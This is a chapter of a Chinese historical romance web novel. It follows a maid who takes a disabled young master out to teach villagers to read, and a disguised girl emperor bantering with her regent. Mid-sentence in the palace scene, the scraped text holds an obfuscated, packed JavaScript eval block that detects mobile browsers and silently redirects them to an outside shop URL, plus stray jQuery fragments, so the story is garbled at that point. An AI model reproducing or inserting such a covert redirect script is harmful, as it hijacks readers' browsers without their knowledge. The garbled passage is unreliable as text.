9. 第 9 章

作品:《首辅大人当爹又当妈

    好言难劝该死鬼,第二天小皇帝真的下旨让翰林院的翰林们排队出去扫盲了。消息跟长了腿一样,上晌早朝刚说这事,午时就传的满城皆知了。街头巷尾都在议论,翰林院掌院根据圣旨分配给底下的翰林分任务,谁负责哪条街,负责多少人,一个人一个月要认识几个字,明明白白的写在簿子上。每个月月底由老掌院领着人去抽查,谁的差使没完成就扣银子!


    但北京城太大了,大大小小有一千一百一十七条胡同,老掌院都领上任务了,翰林还是不够用。后来又下旨让京城的秀才也去,一个月能和翰林一样补贴一两银子。小湫看见官差在贴告示,跑回府去找大公子。他才刚从宫里出来,钻出小青呢轿就被她逮到了。


    “大公子,朝廷在教百姓识字认字扫盲是吗?”


    “是啊,怎么了,你不是识字吗?”


    大公子抱着书匣回院,小湫紧紧得跟着他,一路尾随进屋,像只小麻雀一样叽叽喳喳的好热闹。


    “是啊,我识字。但我问的不是我的事,是二爷的事。大公子,二爷也是秀才是不是?”


    他放书匣的手愣了一下,垂眸下去,再抬起头来看小湫就有一点难过了。


    “是,怎么了?”


    “大公子,我能带二爷出去教书吗?我来府里一年多了,从来没有看见他走出去过。外面的天那么大,景色那么好,二爷怎么可以一直闷在院子里呢。二爷认字,读过很多书,字也写的很好。教我认字的时候特别有耐心,教的特别好。我觉得他一定会是一个特别好的先生的,大公子,我能带二爷出去吗?”


    大公子依在书桌上像棵柳树一样,很认真很认真的看着她,“出了府,外面会有很多意想不到的事,让人措手不及。二爷也许会生气,骂你凶你不理你甚至是打你。小湫,你怕不怕?你不怕,我就同意你带二爷出去。”


    “我不怕,大公子!我带二爷出去,保证他以后一定会多多的笑!”


    小湫眼神坚定的像是要去做一件惊天骇地的大事一样,大公子一直都知道她心中又无限的热量能把冰雪都捂化了,他笑着应她。


    “好,那我明天去翰林院给二爷报名。”


    “那我现在就去给二爷准备书匣!”


    小湫一溜烟的又跑了,去给二爷准备书匣,买书买纸笔,逢人就说二爷领了官府的差使,明日要出府去教书了。教书育人可是一件功德无量的大事,二爷会有好报的。


    这个事也跟长腿了一样一会儿就传遍了府邸上下,天黑的时四邻街舍也都知道了。小湫兴冲冲的回府的时候,看见大公子去找二爷了。二爷不高兴,绷着脸,特别的吓人。


    “大哥,我不去!。”


    “随你,你和小湫说。”


    大公子一点都不勉强二爷,说不去就依他走了。小湫急的去追,抱着沉甸甸的书匣难过的要死。


    “大公子,二爷不愿意去教书当先生是吗?”


    大公子回头走到她身边,手里拿着一张盖着官府大红印的纸,上面写着二爷的名字—东山村。


    “小湫,这就是我和你说难以意料的事,以后还会有比这个更难的,所以我问你怕不怕。”


    “我不怕,我真的不怕,大公子。”


    “嗯,小湫二爷的腿长在你身上。这个地方有点远,我每天派人送你们去。以后你让二爷多多的笑了,我给你赏很多很多的银子好不好?”


    “好,谢谢大公子!”说到银子,她每次都会特别的激动,应的声音格外的亮堂,好像没有什么比银子更好的事了,“大公子您放心,我会照顾好二爷的!”


    第二天,小湫就见识到大公子说的难以应付的事了。二爷不愿意出府去教书,从小湫推着他出房的时候就一直在发脾气,吼她特别的凶。


    “小湫,我不去,推我回房!”


    “小湫,我的话你听不懂是不是!推我回去!”


    “小湫,你聋了是不是!我的话你也不听了?我不要你伺候了,滚,我让大哥再派一个新的婢女来!”


    小湫不管他怎么骂都是乐呵呵的,小车推的飞快。大公子说了二爷的腿长在她身上,那她想带他去哪儿就去哪儿,他生气也没关系。她知道二爷不喜欢叫人看见自己无能残废的样子,可不出去总这样,他的腿残了,心也会残的。


    这天他们早早的出去,天黑了才回府,二爷都被气饱了,一天没吃东西。还没回到房里就开始又在骂小湫叫她明天不用来伺候他了,叫她滚。


    小湫也生气了,就把他扔在院子晾着,估摸着他身上该凉透了。跑出来,拿着朝廷的文书大声的念:“二爷,您今天一个字都没教。所以你欠村民一个字,也欠朝廷一个字。你不教就等着皇上扣大公子俸禄吧,上次他去青楼救赵姑娘才被罚了两年俸禄,咱们府上就要揭不开锅了!”


    二爷很久很久没那么生气过了,脑袋嗡嗡的响,一点都听不到小湫的声音。但他没有腿,瘫痪在轮椅上只能她推来推去,不高兴了还把他扔在路边。很长一段时间二爷出去都不动嘴,干坐在椅子上,和来识字的村民大眼瞪小眼。嘴巴长在他身上,小湫没办法撬开他的嘴只能干生气。


    那段日子不知道从什么京城开始热闹了起来,街头巷尾都悄悄的在流传本册子,听说京城的贵妇小姐也在读。册子还流传到周边的府县村庄里,连小湫也买到了,抱着册子坐在屋檐下翻,旁边放着二爷的书匣。但日上三竿了,二爷的房门还没开。


    “小湫,你在这里干什么?”


    早膳二爷没去,大公子找来了,小湫抱着书指了指二爷的门,“大公子,我在等二爷起床。二爷昨天生气,今天就不起床了。”


    “喔,那你们今天还下村子去吗?”大公子早就知道二爷生气了,因为不想出府就故意赖床不起,以为这样就拿小湫没办法了。头天的时候午时才开门,但出完午膳不管他愿不愿意,小湫又推着他出去教书了。于是他又起的更晚,今日还不知道什么时候才开门。


    小湫和大公子说:“去,当然去。只要二爷敢起来,我推着他去。我不信二爷能一辈子就这样长在床上不下床了。”


    大公子失笑,“行,他躺久了,估摸着一会儿就挨不住了。”眼睛余光瞟到她的册子上,看见了一副熟悉的画作,“小湫,你怎么也在看这书?”


    册子里画的有女人的身体,小湫有些不好意,把书页合上了。


    “其实我也有很多不懂的地方,以前没人问也不知道问谁。我听说这书最近京城的小姐夫人都在读,就好奇买回来看看了。大公子这书写的真好,女孩子很多事我以为等我长大了慢慢的自己就懂了。现在看了这书,我才知道不是慢慢懂了,是迷迷糊糊的长大,也不晓得什么是好的,什么是不好的。现在我知道了,看它就可以了。”


    小湫还把二爷的匣子打开了,从里面拿另外一本用布包好的册子送给大公子。


    “大公子,以前您总帮赵姑娘问我女人的事,您把这本书送给她,这书比我好讲的对,讲的好。以后在遇到这些事,她就不会慌张了。”


    大公子笑着接过书应好,摸着上面书布眼神特别的温柔,说一定会替她送给赵姑娘。然后他就不管二爷吃不吃饭走了,小湫脚悄悄跟上。因为她知道大公子说不定会拿着书去找赵姑娘,至于二爷他没腿跑不了的。但是大公子坐着轿子出去了,今日既不逢五也不逢六更不逢九。


    ——


    张静端的小轿在午门外就停了,就算他是帝师现在也还没有在紫禁城里坐轿子权利。从掖门一路走到小皇帝的内宫寝殿要一柱香的时辰,走在路上的时候他就在想,小皇帝估摸着已经知道自己的书在京城里掀起不小的动静了,肯定是要忍不住在人前翘尾巴了。


    但这是没写她的名儿,是悄悄摸摸做的,不能让大臣宫女太监知道。依照着她张扬的性子,也憋坏了。张静端觉得好像都能看见她朝自己“颐指气使”的模样了,她肯定会指着他的鼻子大声的说:


    “张静端,你看!还得是朕,朕的书一刊出去就大受欢迎,连京城贵妇小姐都在争着看!”


    “张静端,这件事你是错的,朕是对的!这次朕又赢你了!”


    其实张静端除了有些招架不住小皇帝不按常理出牌的小花招外,还是非常的欣赏她的。因为她一直很优秀真诚,说这不想当皇帝,觉得差使累却会真的把每一个百姓子民放在心上。


    这次他都到了寝殿外还没听见她的动静,平日她要是有什么开心的事了,就会光着脚在殿里疯跑撒欢,大吼大叫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092204|195478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听着自己回声,清冷的殿会变得热热闹闹的。


    “皇上?”


    张静端推开门殿门,里面静悄悄的,御案上放好几本刊印出来的素女经要,小皇帝很随意的给自己起了名儿叫爱吃糖糕,就写着书册上刊印出来。


    素女经要,爱吃糖糕,张静端读着觉得怪怪的。看着不像正经书,像禁书局官吏会跑去查禁的书。皇帝不在寝殿,一般就在密室里。张静端已经了解她的脾性了,熟练转开书架上的花瓶。笨重的石墙转开,小皇帝也抬起眼看见了他。


    “张静端,你怎么来了?朕没召见你啊,怎么你有事?”


    她也忙,忙着给自己裹胸。不过这次明显下手轻了,胸脯裹起来还会有漂亮的弧型,不再像以前裹完要喘大气,连跑都不能。所以这次也不要张静端搭手了,绕了几圈就把布头塞进布里。光着两条精瘦有劲的膀子叉腰,扬起漂亮的脖子,下巴快都戳到天井上去了。


    “张静端,好看吗?”


    张静端不知道她说什么好看,让他看什么,又有什么可看的。只去伸手去拿了她挂在竹竿上的汗衫,抖落开撑在后面等小皇帝自己伸进胳膊来。


    “没二两肉的,有什么好看的。快点把衣服穿好,着凉了。”


    张静端狠狠的泼她冷水,但他看见的小皇帝还是和以前很不一样了。第一次见到她的时候,她才十三岁,长的男女不分。现在已经十六岁了,长的越来越有姑娘的样子,怎么看都不像个假小子了。


    “喔,怎么会不好看呢,明明还可以的。”


    小皇帝一遍穿衣服一遍嘟囔,张静端撇了她一眼,问道:“你现在怎么又缠着个样子了,看着不是很安全,容易叫人生疑。”


    毕竟哪个男人会有那么大的胸肌,这句话他没说出来,毕竟不像他会说的话。


    “因为我明白了,不管是做男人还是做女人,都赶不上我的身体重要。我担心缠的太死,把胸勒坏了,毕竟着玩意是肉做的,不是铁打的。”


    嗯,话是糙了一点,但是理不糙。


    “那你以后日常行走自己注意些。”


    张静端提醒她,伸手帮她把衣服里的头发拿出来,在背后捋了捋。心下有些嘀咕,今天小皇帝有点太过于正常了。出书干了一件那么长脸的事,她怎么…..


    张静端正想着,小皇帝突然就转过身来,还一下扑到了他的面前。一只手撑着他的胸堂,另一只爪子一把就摸上了他的脖子,皱着眉头大叫。


    “张静端,你这里是什么?骨头,硬的,还会动?不对,是软的!”


    当….当然会动了,张静端吓的一激灵,脖子的喉结痒痒的,忍不住吞咽了一下,耳根子也热了起来。嫌弃的提溜开小皇帝的爪子,嗔怒道:


    “这是臣的喉结,当然会动。皇上一惊一乍的干什么,还不赶快把衣服穿好。”


    小皇帝只披着小衫没理他,摸了摸自己光滑的脖子,特别严肃道:“张静端,我怎么没有?”


    “这是男人才会有的,你一个姑娘家怎么会有。”


    张静端笑话她,但很快笑就凝结在了脸上,默默的伸手替小皇帝上滑落肩膀的衣服。


    “对啊,就是你有的我怎么能没有?惨了惨了,我一直鼓捣月事的事,忘记这了。你说会不会已经有人察觉怀疑了,不然怎么有人说我娘炮。”


    “不要自己吓自己,你从小到大也叫人分不出男女来。”


    “可是这就是一个漏洞,非常大的漏洞不是吗?张静端,你身上还有什么是我没有的?”


    小皇帝突然有几分紧张,看着近在咫尺的张静端抿唇,“除了喉结,张静端,你身上还有什么是朕没有的?”


    张静端刹那间就后悔今天没事进宫来了,小皇帝的目光已经缓缓像他身下移了。大概是立夏了,密室里又有温泉就特别特别的热。小皇帝突然想喝水,但她忍住了,特别的真诚,格外的乖巧。


    “张….张静端,那个你能脱了裤子让朕看一下吗?朕没见过,不知道男人的长什么样?”


    “赵洵!!”


    “啊我….我不看了还不行吗!”


    小皇帝知道这次他是会真的拧下自己脑袋的,赶紧一溜烟跑出密室,转回花瓶把张静端关在了里面。